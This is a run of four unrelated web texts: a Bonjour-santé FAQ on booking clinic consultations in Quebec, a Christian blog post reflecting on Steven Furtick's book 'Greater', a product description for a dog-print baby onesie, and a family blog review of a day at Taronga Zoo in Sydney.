*If you have any concern about your medical condition, contact Info-Santé immediately by dialing 8-1-1.
Why am I being offered a consultation in a clinic located up to 70 km away from my house?
Our search engine uses the postal code you enter to search for a consultation in a clinic near you. If results only show a consultation in a clinic far away, this means no other consultation was available any closer.
Should the consultations offered to you not be suitable, remember that new availabilities can free up at any time. To that effect, you may want to try a new search later.
How can I cancel the SMS notifications?
In your email inbox, find the subscription email you received from Bonjour-santé for notifications. Use the link in that email to cancel the SMS notifications.
If you can't find that email, don't worry. The notifications will stop automatically after 20 text messages or 24 hours, whichever comes first.
How can I be sure that the consultation was booked under my name?
All the information relevant to your consultation is detailed on the confirmation page (step 5 of the registration process). A detailed confirmation will also be sent to you by email, and you will receive a reminder call.
How do I cancel my appointment?
There are 2 ways to cancel your appointment:
Look for the hyperlink in the email you received a few minutes after you completed your online registration and click on the link to cancel your appointment. If you can't find that email, take a look in your spam folder.
Wait for the reminder call you will receive approximately 60 minutes before your consultation and follow the instructions to cancel your consultation.
Remember: search fees are not refundable when you cancel your registration.
I waited longer than expected at the clinic. Why?
Bonjour-santé offers a search engine for consultations. This means you can book a consultation based on the schedule and availabilities of the clinic at the time of your search. Bonjour-santé has no control over the clinics' schedule management and despite our best efforts to predict the expected time for consultations, delays at the clinic are possible.
Why do I have to pay $18.95 plus taxes to see a doctor? Isn't that covered by the income taxes and other taxes I already pay?
If your clinic uses the services offered by Bonjour-santé, booking your consultation is free.
If there are no consultations available at your clinic, our search engine allows you to find one in another clinic. You have the choice whether to use Bonjour-santé or not. If you do and decide to pay the search fee of $18.95 plus taxes, you will avoid waiting several hours in a hospital emergency department.
It is important to know that Bonjour-santé does not receive any government funding. The payable services that we offer allow us to develop and improve our services.
Can Bonjour-santé really save me waiting time?
Of course! The average waiting time in clinics using Bonjour-santé services has been reduced by 82%! By helping clinics organize their schedules, we successfully eliminated morning waiting lines. Patients are now calm and serene when they arrive at the clinic, and the average waiting time went from 246 minutes down to 45 minutes, with 80% of patients waiting less than 75 minutes. We make it our mission to continue to improve healthcare access!
I received a notification advising me of a new availability. However, when I searched for it, it was no longer offered.. Why?
When a consultation becomes available, the notification is sent to several people. This new availability is then offered to the first person who performs a search.
Which payment methods are accepted?
We accept Visa, MasterCard or American Express. You may also pay using your VISA Debit card.
It is possible to register more than one person for the same consultation?
A consultation is only valid for one person. Once you're registered, you can contact the clinic and ask whether the doctor would accept seeing more than one patient at that time.
How does the reminder call work?
You will receive a reminder call 60 to 90 minutes before your consultation. Please come to the clinic even if you miss the call.
Will I receive a payment confirmation after the transaction?
A few minutes after you complete the transaction, you will receive an email confirmation with all necessary details, as well as a link to confirm or cancel your consultation. If you do not receive this email, take a look in your spam folder.
Which clinics are part of the Bonjour-santé network?
There are Bonjour-santé clinics in most areas of the Quebec province. Their names, however, remain undisclosed to avoid any overcrowding.
If you conduct an online search and book a consultation on the Bonjour-santé website, you will have access to the clinic's information (address, phone number, how to get there) once your payment is completed.
Can I search for a next-day consultation?
The consultations offered to you are first and foremost for the same day of your search. Some clinics may offer next-day consultations, but these usually become available in the evening, when no consultations for that day are left.
I already paid for my online search, but I can't remember the time of my consultation and/or the name of the clinic. How can I get this information?
Your transaction and consultation information are first displayed on your screen once your payment is completed. A few minutes after the transaction, we will send you a confirmation email with that same information. If this email is not in your inbox, take a look in your spam folder.
Why am I being refused a search if I already have a consultation booked within the next 24 hours?
The system does not authorize the search for a second consultation when you already have one scheduled at your clinic. Health card numbers are monitored to prevent any abuse. Check your email inbox to locate the confirmation email that details all necessary information for the consultation you already reserved.
The wrong clinic is associated to my profile. What do I do?
If you wish to modify the clinic associated to your profile, please send an email to our customer service: firstname.lastname@example.com
Can I choose the date of my consultation?
By default, the system will offer you the first available consultation. You have the option, however, to specify the date and/or time at which you would like the search to start from.
Why is the system offering me a consultation in a clinic affiliated to my usual clinic?
The system starts by checking whether there are any availabilities with your family doctor. In the event there isn't, the system verifies whether there are any consultations available at your usual clinic. Finally, if no consultation is available, the system makes one final attempt by checking all the clinics affiliated to the Family Health Group your clinic belongs to.
I was looking to book a consultation within the next 24 hours but the system is offering me a consultation in several days. Why?
The system starts by checking whether there are any availabilities with your family doctor. If he doesn't have anything available today, the system verifies if you can see another doctor at your usual clinic within the next 24 hours. If nothing is once more available, the system looks whether your family doctor can see you within the next 8 days.
Please note that these guidelines may vary in some clinics.
I've been trying for several days now to book an appointment at my usual clinic and there's never any availability when registration starts. Why?
There are cancellations throughout the day when people register or confirm by email or phone. You can therefore try to register at different moments during the day.
Can I complete the registration process for another person?
Of course! You simply need to enter the information of the person who needs to see a doctor (name, health card number, etc.)
I've never used Bonjour-santébefore. How do I go about booking a consultation by phone?
There are two ways Bonjour-santé offers access to consultation availabilities: by phone, or online. Since you're already online, why not follow this link to quickly find a consultation in your clinic: maclinique.bonjour-sante.ca
Otherwise, you must contact your clinic to obtain the telephone number dedicated to its consultation booking by phone.
How does the reminder call work?
You will receive a reminder call 60 to 90 minutes before your consultation. Please come to the clinic even if you do not receive the call.

Toward the end of 2012, I was asking God all sorts of questions about where we had been. I thought that I had listened to him. I thought that I had been following him. But at the end of the year, nothing looked the way I thought it should. Is this really going to be worth it? Have I missed You? Did I take a wrong turn? Have I ruined it? Maybe I should have… I was so discouraged and began to believe that everything I had been doing was foolish and that nothing was going to change. One dark day I consider stopping everything, including taking down this blog.
In late November I signed up for Melissa Taylor's online Bible study of Greater by Steven Furtick. In this book, God gave me sign posts to show where I had been. He reminded me that I was not on a fool's errand, but that everything that had happened had been intentional. The book used the story of Elisha to illustrate John 14:12 where Jesus that that anyone who has faith in me will do even greater things. I wanted to share some of those signposts…mainly so that I won't forget.
Burning the plows – Elisha was doing life behind a bunch of cows when Elijah chose him to be his apprentice. Before Elisha left, he used his plows to build an alter on which he sacrificed the cows who had been pulling the plow. Furtick talks about how this made it impossible for Elisha to go back to the former, lesser life he had been used to.
For the last six years I had been serving in women's ministry at our church. But this year I have stepped back. I'm not teaching a study; I'm not leading a ministry. This is a very strange place for me and doesn't make sense for someone who feels called to minister to women and is trying to publish a Bible study for women. As I have stepped back, I realized that far too much of my identity was wrapped up in what I was doing as a women's Bible study teacher. I have also felt a lot of freedom to just go where He asks me to go, to love and serve the women that he has put in front of me. It has made me much more dependent on his plan than trying to forge my own.
Digging Ditches – An enemy army was pressing in on Israel and the king goes to Elisha for advice. Elisha tells them to dig ditches because it is going to rain. Even though there had been a famine in the land and no rain for a very long time, the army did what they were told. Digging ditches didn't seem like a good battle plan, but it was exactly the plan they needed. The next day it rained and the battle was won.
Last year I had to dig some ditches. I took a break from teaching a women's Bible study at church. I realized that I didn't have time to write when I was teaching. So I took a year off to write a Bible study of the book of Galatians. God was asking me to write instead of speak. It didn't make sense on paper at all. But by faith, I did what God was asking me to do. In that year, I finished the book, took a pilot group and two other groups through the study and offered it online last fall. None of that was possible without a finished book. I dug the ditches, and God sent the rain…another signpost.
A Little Oil – Furtick recounts the story of the widow who had nothing left but a little oil. God used that little bit of oil to save her family from starvation. But the widow had to use what she already had in her house.
Last year finding the time to write a book was an overwhelming task with four children ranging from middle school down to preschool. But God reminded me that I had all the time I needed. Instead of using my kid-free time for grocery shopping and house keeping, I used the time to write. I could take kids to the grocery store and pick up the house when they were home, but I needed my kid-free time to write without being interrupted. I also realized that I could get my book to people in an electronic form without a big publishing deal or spending money on self-publishing. God could use the material in any form. It didn't have to look the way I thought it should. Last year I started using what I had in my house to do what God was calling me to do…another signpost for me.
Wasted Faith – The Shunammite women was miraculously blessed with a son. When Elisha told her she was to have a son, she said, "No, my lord, do not mislead your servant!" It's a strange response to good news. Years later when her young son dies, she falls at the feet of Elisha and says, "Did I ask for a son? Didn't I tell you, 'Don't raise my hopes'?" Elisha comes to her house and raises the son from the dead.
I have felt like that this year. I thought we were going in a certain direction in women's ministry and now I'm nowhere. I remember telling a friend this summer that every dream I had was dead. I was going to put my book on the shelf and go crawl in a hole and never teach again. I felt like God had raised my hopes in meetings with publishers and agents only to have every door closed. Not only were doors closed, but difficult things were happening for me personally. A close friendship fell apart, I was not parenting my teenage well, and I felt rejected and misunderstood in other relationships. This made for a difficult year with counseling sessions, many sobbing tears and gut-wrenching introspection.
Furtick said, "The faith of all the saints through the ages is not enough to eliminate the reality of suffering. Because suffering is not a detour on the road to greater. It's a landmark. Discouragement is often a marker, not of being on the wrong path but of being on the right one." This reminded me that all the closed doors, the death of dreams, the tears and the pain were part of the plan, not a detour from the plan.
Trust Fund Baby – Furtick argues that God doesn't waste our faith. We may not see the outcome we hoped for in a situation, but that doesn't mean that believing for a job, for healing, for reconciliation is wasted. It means that God is storing it up in a "trust fund." He's teaching me how to trust him more.
Saving Captain Awesomesauce – Naman came to Elisha to be healed of leprosy. Elisha told him to go wash in the river Jordan seven times. Naman didn't want to humiliate himself by washing in that dirty river. He wanted to go back home where the rivers were much cleaner. But his servant said to him, "If the prophet had told you to do some great thing, would you not have done it?" Furtick says, "Pride is the most difficult part of the lesser life to leave behind. It's the most intrinsic to us. We have a curious habit of posturing ourselves higher than the people around us."
Guilty as charged. This past year has been very humbling as I have had to take a hard look at my own pride and see my own sin. I look back and see how my Orphan and Ice Queen patterns tripped me up once again. Furtick talked about the importance of immediate obedience in learning humility. God reminded me of small obedient steps I had made. This fall I offered my study online, even though I was doubtful about whether or not it would work. I saw God bless it and multiply it in ways I could not foresee. I also signed up and started attending a study on Ezkiel, one of my favorite books of the Bible, but I had to drop out because God told me he wanted me to study John instead. I hate backing out of things, but I had to obey.
Furtick also recommends keeping yourself small through your daily interactions with people around you. This one is really hard for me and I'm still trying to figure out what that looks like in my life. Jesus was so secure in his identity as the Son of God that taking the lowest position in the room took nothing from him. His status, his value, his identity remained secure. As a Princess, I long for that kind of security.
Where did it fall? – In this chapter he talks about the story of Elisha making an ax head float in the river. A young prophet lost it and cried out to Elisha for help. Elisha asked the simple question, "Where did it fall?" Furtick talks about losing your edge and going back to the place you lost it. He reminded me that when I get to that place, it's not up to me to fix it or try harder. I simply cry out to God and ask for help. With God's help, I traced the seed of some of the struggles of this year back to a meeting where I did not honor my heart. I was not in a good place going into the meeting and in the process hurt those around me. People missed me because I missed myself. I was not careful with my heart. God has been teaching me this year how to honor my heart and how to be true.
Open My Eyes – Elisha stands with a young prophet on the wall of the city looking out at an approaching army. The army was much greater than the army of the Israelites and the young man was afraid. Elisha prayed that God would open his eyes and the young man saw chariots of fire from God's army that far outnumbered the enemy. Furtick challenges us to open our eyes and see who is sitting at our table. Sometimes we let people in who hold us back from the greater things God is calling us to.
My circle of friends has been small this year and that is strange for me. I haven't been in a community group or a small group study. I really don't like it, but I know this is exactly where he has me. My close friends have been there with me and have not let me put my book on the shelf or crawl in a hole and never come out. They have kept me going when I couldn't put one foot in front of the other. My friend prayed the perfect prayer for me last night. She asked that God would open my eyes and that I would see the places and the people that I am teaching. When I get discouraged, my eyes are closed to all the things that God has done this past year. My husband especially won't let me lie to myself and deny that any progress has been made on this journey. This book was full of sign posts for me that I'm right where I need to be.
In case you haven't figured it out by now, I would highly recommend this book. I'm sneaking it into my husband's reading pile tonight!

Product Description
These dogs sure know how to take a selfie; notice all those tongues hanging out! Artist Howard Robinson has put together all our favorite breeds here in the Dogs Selfie design and created a masterpiece.
The Mountain Baby Onesies are 100% ring spun cotton fine jersey material which makes them extra soft and cozy against your baby's brand new skin. These infant bodysuits feature double-needle ribbed binding on the neck, shoulders, sleeves, and leg openings, and a reinforced triple snap closure. The envelope folds on the shoulders allow for easy-on and easy-off, either over the head or up/down the body (which you know is essential if you've ever experienced a blow-out situation of any proportion). These short sleeve rompers are great for layering or alone. They are durable for all the demanding infant needs and are designed to make life a little easier for caregivers who have to frequently change baby's outfit!
Dyed using organic dyes with designs printed with soft, non-toxic water-based inks.
When you first receive your Mountain garment we recommend washing in cold water alone or with like colors. Since your onesie was hand-dyed it will continue to bleed some excess color for the first few washes. It is safe to use normal detergent, just make sure to avoid bleach. Your Mountain Baby Onesie can be dried either in a tumble dryer or by lying flat.

One of my absolute favourite memories as a child was the times that Mum and I would travel from Brisbane, down to Sydney to visit my Aunty and Uncle. We would always go and spend a day at Taronga Zoo (TZ). We would sit and watch the chimpanzee for hours – any doubt that these animals are not the closest species to humans will be quickly removed upon watching their uncanny 'human like' personalities. I am a massive lover of animals, and if there is any type of zoo 'Bucket List' then this is one you want to add and tick off. Having visited quite a few zoos along our travels through the Pacific & Asia (all with varying standards of quality and humanity) Taronga Zoo presents one that is well resourced, clean & tidy, with most importantly – animals that are treated humainly and fairly.
Even now, at 28, each time I travel to Sydney I make a day trip to this special place. Recently, when returning back to Australia from Hawaii on a cruise (separate post) we disembarked in Circular Quay, Sydney. It came without question that we would carry on the tradition and take Kruize for his first TZ experience.
Getting There:
One of the the best things about the Zoo is how it is accessible by varying forms of transport; ferry, bus, car. We took the ferry from Circular Quay to Mosman (conveniently there is a ferry stop specific for the zoo. A combined ticket for entry to the Zoo, return ferry trip & sky safari (cable car ride) can be purchased easily at Circular Quay ticketing booths (A$55/4-15yrs$30).
The Goods:
Having always visited the zoo childless, it was definitely an interesting dynamic when navigating with a toddler in tow. Thankfully it is extremely pram friendly with lifts, escalators and ramps easily accessible. Another point that I think is important to note is that the entire complex is an achievable feat for one day. We didn't feel rushed to have to quickly dash through the exhibits so we didn't miss anything. We were able to take our time, visiting each enclosure at Kruizes' pace, stop for lunch, drinks, nappy changes etc.
We decided that we would love for Kruize to have the opportunity to interact with one of the animals whilst there, so we booked in to participate in the giraffe feeding – it wasn't too expensive $20 and allowed for all four of us to participate and receive a photo. The waiting in line in the heat for the show / feeding to begin whilst trying to keep a toddler quiet and still was a bit killer (thankfully they DID have a shaded area for us to line up under!) However once it was our turn Kruize thought it was AWESOME. We were each given a carrot to feed the giraffe and then we posed for a photo.
The Negs:
I must admit, this time round I was slightly disappointed that a few of the exhibitions/displays were empty (orangutans, gorillas and tigers). I'm sure there was obviously a good reason for these guys being absent, however as a paying patron, I thought a notice / sign should be displayed before entry / ticket purchase points.
As with all of these 'theme park' type places, the price for food, drinks, snacks (and merchandise) are HIGHLY inflated. Generally when we visit such places we try and pack a little selection of food & drinks – as most parents with toddlers/children know – when they want something they want it NOW. And by now I obviously mean 10 minutes ago! However, having just jumped off a ship, we clearly didn't have access to, or the forethought to pack a lunchbox full of food (and even if I did – I wasn't about to fuss with customs declarations upon disembarkment – hey our focus was more on smuggling off as much duty free alcohol as we could lol). This left us with only one option = $15 sandwiches lol. If possible, I'd definitely recommend at the bare minimum bringing iced / cold water and some fruit – as there is only one eatery, and guaranteed the kids are going to be SOOOO HUNGRY when you are the furtherest away from it.
Overall, we had an enjoyable (& hot) day as a family, sharing with Kruize one of my favourite holiday places to visit as a child. Next time we return it will be with our little Nylah aswell 🙂
Below are a few of my favourite snaps of our day.
